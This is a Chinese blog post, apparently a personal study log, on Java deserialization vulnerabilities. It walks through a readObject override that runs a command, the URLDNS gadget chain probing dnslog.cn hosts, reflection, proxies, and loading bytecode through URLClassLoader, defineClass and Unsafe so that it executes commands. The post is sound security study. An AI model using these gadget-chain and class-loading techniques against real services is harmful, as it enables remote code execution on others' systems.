Java反序列化学习
前言
早知前路多艰辛,仙尊悔而我不悔。Java反序列化,免费一位,开始品鉴,学了这么久web,还没深入研究Java安全,人生一大罪过。诸君,请看。
序列化与反序列化
简单demo:
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
public class serialize implements Serializable{
private String name;
private int age;
serialize(String name, int age){
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public int getAge() {
return age;
}
public void setName(String name) {
this.name = name;
}
public void setAge(int age) {
this.age = age;
}
public static void main(String[] args) throws Exception {
// 序列化
FileOutputStream fos = new FileOutputStream("serialize.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
serialize serialize = new serialize("f12", 20);
oos.writeObject(serialize);
oos.close();
// 反序列化
FileInputStream fis = new FileInputStream("serialize.bin");
ObjectInputStream ois = new ObjectInputStream(fis);
serialize s = (serialize) ois.readObject();
ois.close();
System.out.print(s);
}
}
// 输出
serialize@3b07d329
可以看出writeObject就是序列化(注:只有实现了Serializable接口的类才能被序列化),readObject就是反序列化,建议自己上手不看demo敲。那么这将造成什么问题,很明显,当用户能控制序列化的数据时,而服务端又有反序列化的操作时,这时将任人拿捏。我想执行什么操作就能执行什么操作
可能的形式
- 入口类的readObejct直接调用危险方法
- 入口类参数包含可控类,可控类里有危险方法
- 入口类参数包含可控类,该类又调用其他含危险方法的类
- 构造函数/静态代码块等类加载时隐式执行
java反序列化导致执行系统命令
简单demo:
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
public class serialize implements Serializable{
private String name;
private int age;
serialize(String name, int age){
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public int getAge() {
return age;
}
public void setName(String name) {
this.name = name;
}
public void setAge(int age) {
this.age = age;
}
private void readObject(ObjectInputStream ois) throws ClassNotFoundException, IOException{
ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
}
public static void main(String[] args) throws Exception {
FileOutputStream fos = new FileOutputStream("serialize.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(new serialize("f12", 20));
oos.close();
FileInputStream fis = new FileInputStream("serialize.bin");
ObjectInputStream ois = new ObjectInputStream(fis);
serialize s = (serialize) ois.readObject();
System.out.println(s);
}
}
重写serialize类的readObject方法,当对serialize进行反序列化时调用的是重写后的readObject方法,也就会弹出计算器。不过这种情况基本不会发生(不会有人这么蠢,危险函数直接写在readObject里),通常是通过找到一条gadget,通过构造,最终在某个重写的readObject中执行命令。
反序列化的思路
- 都继承了Serializeable接口
- 入口类source(重写readObject、参数类型宽泛、jdk自带就更好、常见函数)
- 调用链(gadget chain)
- 执行类 sink(ssrf,rce....)
入口类
入口类一般是Map,Hashmap,HashTable
这些集合类,因为集合类型宽泛(泛型),因此肯定继承了Serializeable
接口,在Hashmap
类中也重写了readObject
方法:
为什么HashMap要自己实现writeObject和readObject方法
为什么要自己实现?如上文章所诉
调用链
所谓调用链就是一条完整的命令执行流程,在入口类中的readObject方法中,最好有一些常见的方法,这样不管我们传什么东西进去,他都可以调用这个方法,也加大了进一步探索的可能调用链中一般会使用很多重名函数,为了实现不同的效果
执行类
Java反序列化的目的就是为了执行命令,所以最终得找到一个可以执行命令的类,这是相对比较困难的
反序列化漏洞入门(URLDNS)分析
漏洞分析
开局先找重写了readObject的类,这里直接看HashMap:
这里s是我们可控,转变成key,进入了hash函数,继续跟进
这里调用了key的hashCode函数,也就是调用了我们可控类的hashCode函数,所以说同名函数在反序列化中是非常重要的,因为这里分析的是URLDNS链,我们看URL类中有无hashCode函数:
找到,这里有个判断,如果hashCode不等于-1,就直接返回,否则就进入handler.hashCode函数,在URL类中hashCode的值默认是-1,所以我们跟进:
这里重点在于getHostAddress
,顾名思义获取host地址,假如我们传入我们vps的地址,是不是就会访问我们的vps了呢?这里使用dnslog来测试:
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
public class URLDNS implements Serializable{
public static void serialize(Object obj) throws Exception{
FileOutputStream fos = new FileOutputStream("urldns.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
}
public static void deserialize(String filename) throws Exception{
FileInputStream fis = new FileInputStream(filename);
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
}
public static void main(String[] args) throws Exception{
HashMap<URL,Integer> hashmap = new HashMap<>();
try {
URL url = new URL("http://zanqlw.dnslog.cn/");
hashmap.put(url,1);
serialize(hashmap);
deserialize("urldns.bin");
} catch (MalformedURLException e) {
e.printStackTrace();
}
}
}
成功拿到请求
之后才注意到一个问题,我们就算不序列化和反序列化都能拿到请求,这是为什么?问题出现在hashmap.put这里,我们调试追踪一下:
发现在put的时候就触发了这里的getHostAddress
,这时hashCode的值已经发生了改变,所以反序列化的时候根本就没触发DNS请求
那么怎么才能让我们反序列化的时候也触发DNS请求呢?hashCode的值肯定是要修改回-1的,如果要求只让我们反序列化的时候才触发DNS请求,put时的hashCode就不能是-1,所以怎么才能控制hashCode的值呢?这就需要用到反射的知识了
java反射
有反射就有正射
正射:通俗来讲就是我们常用的new,通过实例化类来获取一个对象
反射:跟正射反过来,通过实例化一个对象来获取它的类
举个栗子:
package f12;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
public class reflect {
public static void Serialize(Object obj) throws Exception {
FileOutputStream fos = new FileOutputStream("user.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception {
// 正射
user user = new user("f12", 20);
Serialize(user);
// 反射
Class c = user.getClass();
Constructor constructor = c.getConstructor(String.class, int.class);
// 获取构造函数
user newuser = (user) constructor.newInstance("F12", 21);
System.out.println(newuser.getName());
// 修改属性
Field name = c.getDeclaredField("name");
// 设置允许修改私有属性
name.setAccessible(true);
name.set(newuser, "F13");
System.out.println(newuser.getName());
}
}
// 输出
F12
F13
可以看出通过反射修改了对象的值,那么就能进行操作了
再战URLDNS
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
public class URLDNS implements Serializable{
public static void serialize(Object obj) throws Exception{
FileOutputStream fos = new FileOutputStream("urldns.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
}
public static void deserialize(String filename) throws Exception{
FileInputStream fis = new FileInputStream(filename);
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
}
public static void main(String[] args) throws Exception{
HashMap<URL,Integer> hashmap = new HashMap<>();
try {
URL url = new URL("http://vcx4cu.dnslog.cn/");
Class u = url.getClass();
Constructor constructor = u.getConstructor(String.class);
URL newurl = (URL)constructor.newInstance("http://vcx4cu.dnslog.cn/");
Field hashCode = u.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(newurl, 1);
hashmap.put(newurl, 1);
hashCode.set(newurl, -1);
serialize(hashmap);
deserialize("urldns.bin");
} catch (MalformedURLException e) {
e.printStackTrace();
}
}
}
成功复仇
JDK静态代理
一个demo:
package Proxy;
public interface Interface {
void rent();
void pay();
}
package Proxy;
public class Direct implements Interface{
public void rent(){
System.out.println("租房");
}
public void pay(){
System.out.println("付款");
}
}
package Proxy;
public class Proxy implements Interface{
public Interface user;
Proxy(Interface user){
this.user = user;
}
public void rent(){
user.rent();
System.out.println("中介帮你租房");
}
public void pay(){
user.pay();
System.out.println("中介帮你付款");
}
}
package Proxy;
public class Main {
public static void main(String[] args) {
Interface user = new Direct();
Interface newuser = new Proxy(user);
System.out.println("你自己:");
user.rent();
user.pay();
System.out.println("找中介:");
newuser.rent();
newuser.pay();
}
}
以上就是一个静态代理的例子,Proxy类相当于中介,我们可以通过它间接的去调用Direct的方法
静态代理的缺点就是当我们修改接口的化,Direct和Proxy类都得修改
JDK动态代理
package Proxy;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
public class UserInvokationHandler implements InvocationHandler {
Interface user;
UserInvokationHandler(Interface user){
this.user = user;
}
@Override
public Object invoke(Object invoke, Method method, Object[] args) throws Throwable{
System.out.println("这里是动态代理,调用了方法:"+method.getName());
method.invoke(user, args);
return null;
}
}
package Proxy;
import java.lang.reflect.Proxy;
public class Main {
public static void main(String[] args) {
Interface user = new Direct();
// 动态代理
UserInvokationHandler userInvokationHandler = new UserInvokationHandler(user);
Interface newuser = (Interface) Proxy.newProxyInstance(user.getClass().getClassLoader(), user.getClass().getInterfaces(), userInvokationHandler);
newuser.rent();
newuser.pay();
}
}
以上就是动态代理,可能有点难以理解,总体上就是创建一个动态代理类,这里重写了invoke方法,方便展示,然后创建一个动态代理实例,传入的参数是Direct类的类加载器和接口,这样就代理上了Direct类,可以调用Direct类的方法了
动态代理与反序列化的关系
其实就是因为可能没有同名函数导致无法执行命令的问题,假如我们需要最终反序列化时执行B.danger(),我们的入口类时A(Object obj),但是A类里面并没有同名函数danger,只有A.abc => B.abc
,obj为我们可控的类,但如果obj是个代理类,obj(Object obj2),而这个代理类里调用了danger,那么我们就可以用obj来代理B类,从而调用到B类的danger函数,即让obj2为B类
类的动态加载
首先介绍两个代码块:
构造代码块和静态代码块:
{
System.out.println("构造代码块");
}
static {
System.out.println("静态代码块");
}
这里涉及到一个类加载的问题,类加载的时候会执行代码(初始化)
package ClassLoader;
public class User {
static {
System.out.println("静态代码块");
}
{
System.out.println("构造代码块");
}
User() {
System.out.println("无参构造函数");
}
User(String key) {
System.out.println("有参构造函数");
}
}
package ClassLoader;
public class Test {
public static void main(String[] args) throws ClassNotFoundException {
Class.forName("ClassLoader.User");
}
}
// 输出
静态代码块
很明显这里只加载了静态代码块,其余代码块并未执行,我们可以设置类加载的时候不进行初始化,可以看到forName方法中initialize的默认值是true
package ClassLoader;
public class Test {
public static void main(String[] args) throws ClassNotFoundException {
Class.forName("ClassLoader.User", false, ClassLoader.getSystemClassLoader());
}
}
// 无输出
设置不初始化的化,就不会执行代码,再来说说实例化也就我们的new,实例化跟初始化是不同的
package ClassLoader;
public class Test {
public static void main(String[] args) throws ClassNotFoundException {
new User();
}
}
// 输出
静态代码块
构造代码块
无参构造函数
可以看到实例化是两个代码块都执行了,这就是实例化跟初始化的区别
双亲委派机制
所谓的双亲委派机制,指的就是:当一个类加载器收到了类加载的请求的时候,他不会直接去加载指定的类,而是把这个请求委托给自己的父加载器去加载。只有父加载器无法加载这个类的时候,才会由当前这个加载器来负责类的加载。
Java中提供的这四种类型的加载器,是有各自的职责的:
- Bootstrap ClassLoader ,主要负责加载Java核心类库,%JRE_HOME%\lib下的rt.jar、resources.jar、charsets.jar和class等。
- Extention ClassLoader,主要负责加载目录%JRE_HOME%\lib\ext目录下的jar包和class文件。
- Application ClassLoader ,主要负责加载当前应用的classpath下的所有类
- User ClassLoader , 用户自定义的类加载器,可加载指定路径的class文件
这样看来的话,用户自定义的类是不会让前两个加载器进行加载的,这里调试跟进一下加载过程
这里调用了loadclass,继续跟进
到这里,判断父加载器是否为空,不为空就调用父加载器进行加载
上面父加载器没找到,返回了APPClassLoader,这里进入URLClassLoader
然后进入defineClass
从结果上看加载进了User类的字节码,分析一下加载器的流程
ClassLoader->SecureClassloader->urlclassloaer->applicationclassloaer->loadclass->defineclass(加载字节码)
URLClassLoader任意类加载
这个类加载器里有个loadclass方法可以通过url来加载类,首先再本地起个web服务
package ClassLoader;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
public class Test {
public static void main(String[] args) throws ClassNotFoundException, MalformedURLException, InstantiationException, IllegalAccessException {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1:9999/")});
Class user = urlClassLoader.loadClass("ClassLoader.User");
user.newInstance();
}
}
// 输出
静态代码块
构造代码块
无参构造函数
ClassLoader加载字节码执行命令
ClassLoader.defineClass可以通过加载类的字节码来加载类,我们可以通过反射来获取到defineClass方法,加载我们自定义的类,来执行命令
package ClassLoader;
import java.io.IOException;
public class Eval {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
public static void main(String[] args) {
}
}
package ClassLoader;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Test {
public static void main(String[] args) throws ClassNotFoundException, IOException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
Method defindClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defindClass.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\out\\production\\Java安全学习\\ClassLoader\\Eval.class"));
ClassLoader cl = ClassLoader.getSystemClassLoader();
Class eval = (Class) defindClass.invoke(cl, "ClassLoader.Eval", bytes,0, bytes.length );
eval.newInstance();
}
}
Unsafe加载字节码
package ClassLoader;
import sun.misc.Unsafe;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Test {
public static void main(String[] args) throws ClassNotFoundException, IOException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, NoSuchFieldException {
byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\out\\production\\Java安全学习\\ClassLoader\\Eval.class"));
Field f = Unsafe.class.getDeclaredField("theUnsafe");
f.setAccessible(true);
Unsafe unsafe = (Unsafe) f.get(null);
ClassLoader cl = ClassLoader.getSystemClassLoader();
Class eval = unsafe.defineClass("ClassLoader.Eval",bytes,0, bytes.length, cl, null);
eval.newInstance();
}
}
这里我们获取的是Unsafe的属性,而不是它的defineclass
方法,因为它被native修饰,没法被反射调用
而它的属性theUnsafe
其实就是Unsafe对象,所以获取这个属性,再调用defineclass来加载我们的自定义类
Java反序列化学习的更多相关文章
- 通过WebGoat学习java反序列化漏洞
首发于freebuff. WebGoat-Insecure Deserialization Insecure Deserialization 01 概念 本课程描述了什么是序列化,以及如何操纵它来执行 ...
- 学习笔记 | java反序列化漏洞分析
java反序列化漏洞是与java相关的漏洞中最常见的一种,也是网络安全工作者关注的重点.在cve中搜索关键字serialized共有174条记录,其中83条与java有关:搜索deserialized ...
- JAVA对象序列化和反序列化学习
JAVA序列化就是将JAVA对象转化为字节序列的过程,而JAVA反序列化就是将字节序列转化为JAVA对象的过程. 这一过程是通过JAVA虚拟机独立完成,所以一个对象序列化后可以在任意时间和任意机器上反 ...
- 从原理学习Java反序列化
1 序列化与反序列化 1.1 概念 序列化: 将数据结构或对象转换成二进制串的过程 反序列化:将在序列化过程中所生成的二进制串转换成数据结构或者对象的过程 1.2 使用场景 当你想把的内存中的对象状态 ...
- Java反序列化漏洞分析
相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...
- java反序列化漏洞原理研习
零.Java反序列化漏洞 java的安全问题首屈一指的就是反序列化漏洞,可以执行命令啊,甚至直接getshell,所以趁着这个假期好好研究一下java的反序列化漏洞.另外呢,组里多位大佬对反序列化漏洞 ...
- 转载-java基础学习汇总
共2页: 1 2 下一页 Java制作证书的工具keytool用法总结 孤傲苍狼 2014-06-24 11:03 阅读:25751 评论:3 Java基础学习总结——Java对象的序列化和 ...
- 通过JBoss反序列化(CVE-2017-12149)浅谈Java反序列化漏洞
前段时间学校学习J2EE,用到了jboss,顺便看了下jboss的反序列化,再浅谈下反序列化漏洞. Java序列化,简而言之就是把java对象转化为字节序列的过程.而反序列话则是再把字节序列恢复为ja ...
- 浅谈java反序列化工具ysoserial
前言 关于java反序列化漏洞的原理分析,基本都是在分析使用Apache Commons Collections这个库,造成的反序列化问题.然而,在下载老外的ysoserial工具并仔细看看后,我发现 ...
- 尚学堂JAVA基础学习笔记
目录 尚学堂JAVA基础学习笔记 写在前面 第1章 JAVA入门 第2章 数据类型和运算符 第3章 控制语句 第4章 Java面向对象基础 1. 面向对象基础 2. 面向对象的内存分析 3. 构造方法 ...
随机推荐
- MySQL的四种分区方式
1. 什么是表分区? mysql数据库中的数据是以文件的形势存在磁盘上的,默认放在/mysql/data下面(可以通过my.cnf中的datadir来查看),一张表主要对应着三个文件,一个是frm存放 ...
- Guava EventBus的具体使用以及源码解析
使用Guava EventBus对系统进行异步解耦改造 一.背景 最近在写的项目里,在使用定时器进行自动任务下派时,发现之前写的程序中将包括启动流程.地图更新.发送短信.效能计算等操作全部集成在同一个 ...
- 从零开始的react入门教程(九),react context上下文详解,可能有点啰嗦,但很想让你懂
壹 ❀ 引 我在从零开始的react入门教程(八),redux起源与基础用法一文中,介绍了redux的前辈Flux,以及redux关于单项数据更新的基本用法.我们在前文提到,相对Flux支持多个sto ...
- NC24158 [USACO 2015 Jan G]Moovie Mooving
题目链接 题目 题目描述 Bessie is out at the movies. Being mischievous as always, she has decided to hide from ...
- SSL证书类型价格和购买
SSL证书 SSL和HTTPS的工作机制就不多说了, 密钥交换加通道依然是非常靠谱的安全访问方式, 除非你的浏览器连证书和DNS都被劫持, 否则中间节点要解密/篡改HTTPS访问的可能性微乎其微. 现 ...
- np.newaxis的用法
1 前言 np.newaxis的意思是给数组新增一个维度."python中矩阵切片维数微秒变化"中介绍了矩阵切片有时候会降低矩阵维度,为保证维度不变,可以用np.newaxis新增 ...
- 【树莓派】拷贝系统到新SD卡(系统备份/部署到另一台树莓派上)适用ubuntu 20.04.3
本教程适用ubuntu 20.04.3 其他版本也大同小异.这种方法能更快的将系统部署下去,如果重新安装一遍加上各种配置相信你会比较疯狂即使做了自动化脚本! 一.树莓派sd卡拷贝 把旧SD卡插入树莓派 ...
- 深入理解Go语言(01): interface源码分析
分析接口的赋值,反射,断言的实现原理 版本:golang v1.12 interface底层使用2个struct表示的:eface和iface 一:接口类型分为2个 1. 空接口 //比如 var i ...
- Puppeteer介绍
Puppeteer是什么 Puppeteer是一个Node库,它提供了一个高级API来通过DevTools协议控制Chromium或Chrome. 可以使用Puppeteer来自动化完成浏览器的操作, ...
- macOS使用CodeRunner快速配置fortran环境
个人网站:xzajyjs.cn 由于一些项目的缘故,需要有fortran的需求,但由于是M1 mac的缘故,不能像windows那样直接使用vs+ivf这种经典配置.搜了一下网上主流的跨平台方案,主要 ...